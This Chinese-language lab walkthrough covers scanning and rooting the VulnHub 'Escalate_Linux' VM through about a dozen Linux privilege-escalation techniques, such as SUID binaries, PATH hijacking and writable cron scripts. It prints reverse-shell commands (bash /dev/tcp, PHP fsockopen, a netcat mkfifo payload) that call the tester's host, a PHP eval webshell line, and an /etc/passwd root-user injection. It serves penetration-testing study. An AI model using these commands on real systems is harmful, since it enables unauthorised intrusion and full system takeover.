靶机下载

https://www.vulnhub.com/entry/escalate_linux-1,323/

用VMware打开

扫描端口

nmap -sS -sV -n -T4 -p- 192.168.93.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 09:26 CST
Nmap scan report for 192.168.93.134
Host is up (0.00090s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs 3-4 (RPC #100003)
35413/tcp open nlockmgr 1-4 (RPC #100021)
42427/tcp open mountd 1-3 (RPC #100005)
53835/tcp open mountd 1-3 (RPC #100005)
60579/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:99:67:DA (VMware)
Service Info: Host: LINUX Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 seconds

访问ip,是apache Ubuntu的初始界面

扫描目录

dirsearch -u 靶机地址

扫描结果显示只有一个子页面/shell.php是可以访问的,访问看看,进去有个提示说get传参,参数是cmd

传入cmd=ls,返回了当前目录的文件

echo "<?php eval($_POST[1]);?>">1.php尝试写木马失败

尝试反弹shell,参考https://blog.csdn.net/qq_52173020/article/details/125011441

bash -i >& /dev/tcp/192.168.93.128/6666 0>&1//没用
php -r '$sock=fsockopen("192.168.93.128",6666);exec("/bin/sh -i <&3 >&3 2>&3");'//成功,但是要url编码后再传

1.suid提权

SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。

首先python命令执行python -c 'import pty; pty.spawn("/bin/bash")'把得到的shell提升为交互式的shell

查找下能执行SUID特权的命令find / -perm -u=s -type f 2>/dev/null

返回

/sbin/mount.nfs
/sbin/mount.ecryptfs_private
/sbin/mount.cifs
/usr/sbin/pppd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/umount
/bin/fusermount
/home/user5/script
/home/user3/shell

user3下面有个shell命令文件,cd /home/user3;cat shell,返回一堆乱码,该文件是二进制文件,执行./shell,直接获得了root权限

2.环境变量劫持提权:

网上很多文章,随便贴一篇https://blog.csdn.net/nicai321/article/details/122275160#:~:text=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%8F%90%E6%9D%83%EF%BC%9A%E6%9C%AC

刚刚发现一个/home/user5/script,进去看看

执行发现怎么和ls一样???这里说一个查看文件所有者的命令ls -l

文件类型和权限(-rwsr-xr-x)
第一个字符:- 表示这是一个普通文件。
接下来的9个字符 分为三组,每组3个字符,分别代表所有者、所属组和其他用户的权限。
第一组 (rws):表示文件所有者的权限:
r:读权限。
w:写权限。
s:这是setuid 权限,表示当任何用户执行该文件时,将以文件拥有者(在此例中是 root)的身份执行。通常,x 表示执行权限,但 s 替换了 x,意味着该文件不但可以执行,而且还带有 setuid 权限。
第二组 (r-x):表示所属组的权限:
r:读权限。
-:没有写权限。
x:执行权限。
第三组 (r-x):表示其他用户的权限:
r:读权限。
-:没有写权限。
x:执行权限。 其他字段解释:
链接数:1
该字段表示文件的硬链接数量。
所有者:root
该字段表示文件的拥有者是 root 用户。
所属组:root
文件的所属组也是 root。
文件大小:8392
文件的大小是 8392 字节。
最后修改时间:Jun 4 2019
文件的最后修改时间是 2019 年 6 月 4 日。
文件名:script
文件的名称是 script。

因此我们得知script是以root身份执行ls命令

可用十六进制查看文件内容进一步验证xxd /home/user5/script | grep ls -A 5 -B 5

好吧我只看到文件里面出现了ls,其他看不懂了。开始提权

cd /tmp
echo "/bin/bash" >ls #创建和以root执行的文件的同名文件
chmod 777 ls #赋予可执行权限
echo $PATH #查看环境变量
export PATH=/tmp:$PATH #/tmp目录添加到环境变量最前面
echo $PATH #查看是否添加成功
cd /home/user5
./script #此时系统会查找ls命令的位置,而你以及把/tmp添加到环境变量最前面,所以最先找到的ls是执行/bin/bash的ls文件,而不是真ls,这样就以root身份打开一个新的 Bash shell

3.crontab提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

这个方法得先用之前方法提到root权限后,修改user4的密码再操作,改完切换到user4

通过翻看文件发现user4的桌面有个autoscript.sh,查看内容如下

touch /home/user4/abc.txt
echo "I will automate the process"
bash -i

现在利用msfvenom生成payload

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.93.128 lport=8888 R

#生成了mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf

工具介绍
https://blog.csdn.net/qq_48985780/article/details/121441548#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D

我们将autoscript.sh的内容替换成反弹shell脚本

echo "mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf" >autoscript.sh

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载,即可反弹回shell,查看权限为root

为什么这样可以提,我们查看/etc/crontab

发现autoscript脚本周期性执行,而且是以root身份。*/5表示每 5 分钟执行一次 第二个*表示每一小时都执行,第三个星号意味着每天都执行,第四个星号意味着每个月都执行,第五个星号意味着一周的每一天都执行。(可参考https://www.freebuf.com/articles/system/175453.html)

4.vi写入提权

这波要用之前提到的root先把user8的密码改了以便利用user8提权。

发现user8对vi编辑器具有sudo权限

sudo vi-->输入:!sh-->回车-->提权成功,可以反弹一个root身份的shell到kali上面,这里就不搞了

5.openssl提权

用LinEnum.sh枚举发现user7是gid为0的成员,我看LinEnum枚举结果太长了懒得找了,就直接用其他大佬的结果了。

先把user7的密码改了,切换到user7

从LinEnum扫描中知道/etc/passwd文件对于用户user7是可写的:user7可以编辑/etc/passwd文件。于是创建一个具有root特权的名为yrsb的新用户,并使用openssl为该用户生成了密码,然后把该用户写进/etc/passwd

openssl passwd -1 -salt yrsb 123

echo 'yrsb:$1$yrsb$MQi5SWheZ5DIrG/FsiUDC.:0:0:root:/root:/bin/bash' >> /etc/passwd

6.NFS挂载提权

方法介绍https://cloud.tencent.com/developer/article/1708369

LinEnum枚举发现user5的目录是共享的

mount -t nfs 192.168.93.134:/home/user5 /home/user5 #挂载共享目录到攻击机
cp /bin/sh cnm
chown root:root cnm
chmod 4755 cnm

结果报错

./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./cnm)
./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./cnm)

我嘞个glibc版本过低,这要是真实挖洞的时候拿到一个shell,结果因为这个提权不了就裂开了,但是这个靶机可以用之前的方法拿root然后更新glibc

apt update

pt upgrade libc6

,更新完又变成普通shell了,又要再开交互式shell在提权(捏麻麻的)。

结果靶机系统版本太低,不能更新到那个版本,我cao

算了这个方法先知道就得了,以后有机会再用

7.mysql提权

默认密码登录MySQL成功

show databases;
use user;
show tables;
select * from user_info;

切换至mysql用户



发现文件.user_informations

chmod 600 .user_informations

cat .user_informations

得到,其中一些用户的密码已经被我之前提权的时候改过

user2:user2@12345

user3:user3@12345

user4:user4@12345

user5:user5@12345

user6:user6@12345

user7:user7@12345//改过

user8:user8@12345//改过

继续找信息,在/etc/mysql/secret.cnf发现root用户密码

UserName:root

PassWord:root@12345

但是这个拿来登录发现是认证失败。。。

8.运行超户身份提权

由上面密码切换user2

sudo -l

[sudo] password for user2: user2@12345

Matching Defaults entries for user2 on osboxes:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user2 may run the following commands on osboxes:
(user1) ALL

发现user2可以以user1的身份运行命令,也就是可以切换到user1

sudo -u user1 bash

sudo su

9.uid提权

现在切换user4

cat /etc/group,发现root0:user4,user7,表示user4和user7可以修改/etc/passwd文件,所以提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权

10.shell提权

切回user6

user3主目录下发现.script.sh文件

ls -al
total 160
drwxr-xr-x 22 user3 user3 4096 Jun 4 2019 .
drwxr-xr-x 10 root root 4096 Jun 5 2019 ..
-rw-r--r-- 1 user3 user3 124 Jun 4 2019 .asoundrc
-rw-r--r-- 1 user3 user3 95 Jun 4 2019 .bash_history
-rw-r--r-- 1 user3 user3 220 Jun 4 2019 .bash_logout
-rw-r--r-- 1 user3 user3 949 Jun 4 2019 .bashrc
drwxr-xr-x 15 user3 user3 4096 Jun 4 2019 .cache
drwxr-xr-x 20 user3 user3 4096 Jun 4 2019 .config
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .dbus
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Desktop
-rw-r--r-- 1 user3 user3 23 Jun 4 2019 .dmrc
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Documents
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Downloads
-rw-r--r-- 1 user3 user3 9354 Jun 4 2019 .face
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 .gconf
drwxr-xr-x 24 user3 user3 4096 Jun 4 2019 .gimp-2.8
-rw-r--r-- 1 user3 user3 0 Jun 4 2019 .gksu.lock
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .gnome
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .gnome2
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .gnupg
-rw-r--r-- 1 user3 user3 20 Jun 4 2019 .gtk-bookmarks
-rw-r--r-- 1 user3 user3 105 Jun 4 2019 .gtkrc-2.0
-rw------- 1 user3 user3 4710 Jun 4 2019 .ICEauthority
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .local
drwxr-xr-x 5 user3 user3 4096 Jun 4 2019 .mozilla
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Music
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Pictures
-rw-r--r-- 1 user3 user3 873 Jun 4 2019 .profile
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Public
-rwxr-xrwx 1 root root 33 Jun 4 2019 .script.sh
-rwsr-xr-x 1 root root 8392 Jun 4 2019 shell
-rw-r--r-- 1 user3 user3 0 Jun 4 2019 .sudo_as_admin_successful
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Templates
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .thumbnails
drwxr-xr-x 4 user3 user3 4096 Jun 4 2019 .thunderbird
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Videos
-rw-r--r-- 1 user3 user3 50 Jun 4 2019 .Xauthority

strings shell,发现其调用了.script.sh,把.script.sh内容变成/bin/bash即可(为什么觉得有点多余)

11.爆破root密码

以root身份cat /etc/shadow

john爆破出来就是12345。这个不算提权吧,都已经是root了

12.sudo -i提权

切换user1

sudo -l

sudo -i

内核漏洞

靶机内核是4.15.0-45-generic,上网找找不到相关漏洞。

Escalate_Linux靶机提权学习的更多相关文章

  1. basic-pentesting-1 靶机提权

    原文地址:https://www.payload.com.cn/   basic-pentesting-1 下载地址: https://www.vulnhub.com/entry/basic-pent ...

  2. 21. 从一道CTF靶机来学习mysql-udf提权

    这次测试的靶机为 Raven: 2 这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU 此次靶机主要学习 PHPMailer 跟 mymq ...

  3. 靶机练习 - 温故知新 - Toppo(sudo 提权)

    重新做了一下以前做过的第一个靶机(https://www.cnblogs.com/sallyzhang/p/12792042.html),这个靶机主要是练习sudo提权,当时不会也没理解. 开启靶机, ...

  4. 新Windows本地提权漏洞学习(CVE-2019-0841)

    1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...

  5. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  6. 2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践

    目录 PART ONE :Windows本地内核提权 漏洞概述 漏洞原理 漏洞复现 windbg调试本地内核 查看SSDT表和SSDTShadow表 查看窗口站结构体信息 利用Poc验证漏洞 漏洞利用 ...

  7. vulnhub靶机之DC6实战(wordpress+nmap提权)

    0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...

  8. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

  9. 靶机DC-2 rbash绕过+git提权

    这个靶机和DC-1一样,一共5个flag.全部拿到通关. root@kali:/home/kali# nmap -sP 192.168.1.* 先扫一下靶机的IP地址,拿到靶机的地址为192.168. ...

  10. 内网学习之MySQL服务提权

    利用MySQL提权原理: 1.具有mysql的root权限,且mysql以system权限运行. 2.具有执行sql语句的权限,webshell或者外连皆可 UDF提权 UDF(user define ...

随机推荐

  1. vue:引入外部cdn报错 ‘XXX is not defined’ 及事件处理办法

    框架:vue-cli(vue脚手架) 例:以cdn引入腾讯防水墙为例 前因:在html的head中引入外部cdn链接, 在vue文件中直接使用,如图 结果:如图报错 解决办法: 1. 在index.h ...

  2. 实时音视频入门学习:开源工程WebRTC的技术原理和使用浅析

    本文由ELab技术团队分享,原题"浅谈WebRTC技术原理与应用",有修订和改动. 1.基本介绍 WebRTC(全称 Web Real-Time Communication),即网 ...

  3. 使用Matlab进行图像分类

    Classify images Instructions are in the task pane to the left. Complete and submit each task one at ...

  4. Chrome谷歌浏览器自动升级后页面字体过小

    谷歌浏览器使用一段时间后系统自动升级后页面字体突然变小,如何进行设置呢,如下 1.在页面右上角选择浏览器设置-外观-自定义字体-设置字号等其他需要配置的参数即可

  5. 前端vue项目本地运行内网访问的方法

    有时候在公司里,领导想在内网访问到你本地的项目,所以就有了前端项目内网访问 (1)首先在package文件里面的host改成0.0.0.0,像这个样子 (2)其次在config下的index.js里的 ...

  6. 滑动窗口模板在字符串中的巧妙应用|LeetCode 76 最小覆盖子串

    LeetCode 76 最小覆盖子串 点此看全部题解 LeetCode必刷100题:一份来自面试官的算法地图(题解持续更新中) 更多干货,请关注公众号[忍者算法],回复[刷题清单]获取完整题解目录- ...

  7. Nim 从入门到实战

    Nim Nim 是一个与其 1.0 版本相似的新颖且令人兴奋的命令式编程语言.我使用 Nim 是为了它的性能与优雅,这无疑让我感到了莫大的乐趣.在这篇文章中我将向您展示一个我写的 Nim 项目的全部流 ...

  8. 使用python实现一个可自动部署hexo博客的gitee webhook

    文章首发在我的博客:https://blog.liuzijian.com/post/af1f30e3-c846-650e-9a3f-34e326bf950d.html hexo博客想在提交后自动部署, ...

  9. USACO24DEC 2D Conveyer Belt S [ 蓝 ] [ 图论建模 ] [ Flood Fill ]

    2D Conveyer Belt:图论建模+洪水填充妙妙题.质量极高. 观察 首先面对这种不断往图里面加点或者边,且满足前面的答案可以由加边后推出的题,第一个想到的就得是倒序枚举加边过程的 trick ...

  10. IAP升级(STM32)

    IAP升级(STM32) IAP作用简述:将要升级的程序bin文件通过串口发送给STM32,STM32接收后存储到FLASH或者SRAM,用户通过事件(按键等)触发(也可延时自动触发)后将升级 文件夹 ...